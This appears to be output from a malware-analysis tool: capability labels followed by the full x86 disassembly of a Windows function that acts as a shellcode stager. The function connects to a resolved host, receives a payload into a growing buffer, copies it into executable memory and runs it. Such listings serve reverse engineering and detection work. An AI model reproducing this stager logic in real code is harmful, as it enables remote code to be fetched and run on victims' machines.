Function at 0x100211a0
Capabilities:
Allocate or change rwx memory
Connect socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x204]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor ecx, ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x38], 6
push 0x1023e450
lea edx, [ebp - 0x5c]
push edx
call fcn.10021120
add esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push eax
mov ecx, 0x1023e450
call fcn.1000fb20
lea ecx, [ebp - 0x5c]
call fcn.10006dd0
nop
push 0x1023e438
lea ecx, [ebp - 0x74]
push ecx
call fcn.10021120
add esp, 8
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
push edx
mov ecx, 0x1023e438
call fcn.1000fb20
lea ecx, [ebp - 0x74]
call fcn.10006dd0
nop
mov ecx, 0x1023e438
call fcn.10006d10
mov dword [ebp - 0x20], eax
mov ecx, 0x1023e450
call fcn.10006d10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x1002129f
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call fcn.1019e9d9
nop
mov eax, 1
jmp 0x10021467
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
jmp 0x100212b0
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10021341
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x1023e42c], eax
cmp dword [0x1023e42c], 0xffffffff
jne 0x100212fb
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call fcn.1019e9d9
nop
mov eax, 1
jmp 0x10021467
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x18]
push ecx
mov edx, dword [0x1023e42c]
push edx
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x1002133a
mov eax, dword [0x1023e42c]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x1023e42c], 0xffffffff
jmp 0x100212a7
jmp 0x10021341
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
nop
cmp dword [0x1023e42c], 0xffffffff
jne 0x1002136d
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call fcn.1019e9d9
nop
mov eax, 1
jmp 0x10021467
mov dword [ebp - 8], 0
push 0
mov edx, dword [0x10234b34]
sub edx, dword [0x1023e428]
push edx
mov eax, dword [0x1023e5f4]
add eax, dword [0x1023e428]
push eax
mov ecx, dword [0x1023e42c]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x100213eb
mov edx, dword [0x1023e428]
add edx, dword [ebp - 8]
mov dword [0x1023e428], edx
mov eax, dword [0x1023e428]
cmp eax, dword [0x10234b34]
jne 0x100213e9
mov ecx, dword [0x10234b34]
shl ecx, 1
mov dword [0x10234b34], ecx
mov edx, dword [0x10234b34]
push edx
mov eax, dword [0x1023e5f4]
push eax
call fcn.1019ec12
add esp, 8
mov dword [0x1023e5f4], eax
jmp 0x10021426
cmp dword [ebp - 8], 0
jne 0x100213f5
jmp 0x10021430
mov ecx, dword [0x1023e42c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, dword [0x1023e5f4]
push edx
call fcn.1019986f
add esp, 4
push 0
call fcn.1019e9d9
nop
mov eax, 1
jmp 0x10021467
cmp dword [ebp - 8], 0
jg 0x10021374
push 0x40
push 0x3000
mov eax, dword [0x1023e428]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x1023e428]
push ecx
mov edx, dword [0x1023e5f4]
push edx
mov eax, dword [ebp - 0x14]
push eax
call fcn.101918b0
add esp, 0xc
call dword [ebp - 0x14]
xor eax, eax
mov esp, ebp
pop ebp
ret